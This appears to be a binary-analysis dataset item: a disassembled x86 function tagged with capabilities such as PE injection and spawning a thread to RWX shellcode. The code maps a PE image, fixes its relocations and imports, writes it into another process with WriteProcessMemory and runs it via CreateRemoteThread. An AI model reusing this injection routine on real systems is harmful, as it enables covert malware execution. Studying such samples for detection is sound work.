Function at 0x403230
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Parse pe header
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x427a08
push 0x40fe70
mov eax, dword fs:[0]
push eax
add esp, 0xffffff20
mov eax, dword [0x429a8c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x34], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
mov eax, dword [ebp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jne 0x40329c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x403b9d
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
call fcn.004125b0
add esp, 0xc
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x9c]
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x94], ecx
mov edx, dword [ebp - 0xb4]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x403307
mov ecx, dword [ebp - 0x94]
cmp dword [ecx], 0x4550
je 0x403341
push 0x8000
push 0
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xdc]
jmp 0x403b9d
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x94]
mov edx, dword [ecx + 0x50]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4033a1
push 0x8000
push 0
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xe0], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xe0]
jmp 0x403b9d
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0x34]
cmp ecx, dword [ebp - 0x24]
je 0x403589
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x24]
sub eax, dword [edx + 0x34]
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x94]
cmp dword [ecx + 0xa0], 0
je 0x4033fc
mov edx, dword [ebp - 0x94]
mov eax, dword [edx + 0xa0]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.00402bb0
add esp, 8
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x40344b
push 0x8000
push 0
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xe4], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xe4]
jmp 0x403b9d
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
cmp dword [ecx + 4], 0
jne 0x403468
jmp 0x403589
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0x30]
add ecx, 8
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], 0
jmp 0x403494
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0xa8]
jae 0x403577
mov ecx, dword [ebp - 0x70]
movzx edx, word [ecx]
and edx, 0xfff
mov eax, dword [ebp - 0x30]
add edx, dword [eax]
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x70]
movzx edx, word [ecx]
sar edx, 0xc
mov dword [ebp - 0xac], edx
cmp dword [ebp - 0xac], 0
je 0x403569
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.00402bb0
add esp, 8
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x403544
push 0x8000
push 0
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xe8], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xe8]
jmp 0x403b9d
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0xb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x70]
add ecx, 2
mov dword [ebp - 0x70], ecx
jmp 0x40348b
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x70]
cmp dword [eax], 0
jne 0x40345a
mov ecx, dword [ebp - 0x94]
cmp dword [ecx + 0x80], 0
je 0x40375a
mov edx, dword [ebp - 0x94]
mov eax, dword [edx + 0x80]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.00402bb0
add esp, 8
mov dword [ebp - 0x98], eax
mov edx, dword [ebp - 0x98]
add edx, dword [ebp - 0x9c]
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x14
mov ecx, dword [ebp - 0x78]
cmp dword [ecx + eax + 0x10], 0
je 0x40375a
mov edx, dword [ebp - 0x2c]
imul edx, edx, 0x14
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + edx + 0xc]
push ecx
mov edx, dword [ebp - 0x94]
push edx
call fcn.00402bb0
add esp, 8
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x14
mov ecx, dword [ebp - 0x78]
cmp dword [ecx + eax], 0
je 0x40362a
mov edx, dword [ebp - 0x2c]
imul edx, edx, 0x14
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + edx]
mov dword [ebp - 0xec], ecx
jmp 0x40363d
mov edx, dword [ebp - 0x2c]
imul edx, edx, 0x14
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0xec]
push edx
mov eax, dword [ebp - 0x94]
push eax
call fcn.00402bb0
add esp, 8
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0x2c]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0x78]
mov eax, dword [edx + ecx + 0x10]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.00402bb0
add esp, 8
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x28], 0
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc0]
cmp dword [eax + edx*4], 0
je 0x40374c
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx + ecx*4]
and eax, 0x80000000
je 0x4036ef
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx + ecx*4]
sub eax, 0x80000000
push eax
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0xa4]
mov dword [ecx + edx*4], eax
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x40368f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx + eax*4]
push edx
mov eax, dword [ebp - 0x94]
push eax
call fcn.00402bb0
add esp, 8
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0xa0]
add ecx, 2
push ecx
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0xa4]
mov dword [edx + ecx*4], eax
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
jmp 0x40368f
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
jmp 0x4035cd
mov dword [ebp - 4], 0xfffffffe
jmp 0x4037c2
push 0x40
push 0x1000
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0x50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jne 0x403824
push 0x8000
push 0
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x403b9d
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0x50]
push ecx
push 0
mov edx, dword [ebp - 0xb8]
push edx
call fcn.00411870
add esp, 0xc
mov eax, dword [ebp - 0x94]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp - 0x94]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, dword [ebp - 0xb8]
push ecx
call fcn.004125b0
add esp, 0xc
mov dword [ebp - 0xc4], 0
jmp 0x40388e
mov edx, dword [ebp - 0xc4]
add edx, 1
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x94]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc4], ecx
jae 0x403904
mov edx, dword [ebp - 0xc4]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + edx + 0x14]
add ecx, dword [ebp - 0x9c]
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp - 0xc4]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + edx + 0xc]
add ecx, dword [ebp - 0xb8]
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0xc4]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xcc]
push edx
mov eax, dword [ebp - 0xc8]
push eax
call fcn.004125b0
add esp, 0xc
jmp 0x40387f
mov dword [ebp - 0x88], 0
mov byte [ebp - 0x81], 0
push 0x40
push 0x3000
push 0x20
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x74], eax
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x24]
add eax, dword [edx + 0x28]
mov dword [0x42adf1], eax
lea ecx, [ebp - 0xbc]
push ecx
push 0x20
push 0x42ade8
mov edx, dword [ebp - 0x74]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp - 0x88]
push ecx
push 0x40
mov edx, dword [ebp - 0x94]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x403b1f
mov byte [ebp - 0x81], 1
lea eax, [ebp - 0xbc]
push eax
mov ecx, dword [ebp - 0x94]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x94]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov dword [ebp - 0xd4], 0
xor edx, edx
mov word [ebp - 0xd8], dx
push 0x425474
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0xd4]
push ecx
mov edx, dword [ebp - 0x9c]
push edx
call fcn.00402cb0
add esp, 0x10
test eax, eax
je 0x403acd
push 0x425484
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 0x14]
add eax, 0x40
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 0xd4]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0xd4], ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x24]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x94]
mov eax, dword [edx + 0x50]
mov dword [ecx + 0x14], eax
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x24]
add edx, dword [ecx + 0x28]
mov eax, dword [ebp + 0x14]
mov dword [eax + 0x18], edx
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0xc]
mov dword [ecx + 0x1c], eax
lea ecx, [ebp - 0x88]
push ecx
push 0x40
push 0x190
mov edx, dword [ebp - 0xd4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [ebp - 0xbc]
push ecx
push 0x190
mov edx, dword [ebp + 0x14]
add edx, 0x10
push edx
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov edx, dword [ebp - 0x88]
push edx
push 0x190
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x74]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x403b08
push 0x425494
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0x81], 0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xd0]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403b3f
push 0x4254a4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x8000
push 0
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp - 0x74]
push edx
mov eax, dword [ebp - 0x24]
push eax
push 0x4254b0
push 0x32
lea ecx, [ebp - 0x68]
push ecx
call fcn.0040e7dd
add esp, 0x14
lea edx, [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x8000
push 0
mov eax, dword [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp - 0x81]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x34]
xor ecx, ebp
call fcn.0040e418
mov esp, ebp
pop ebp
ret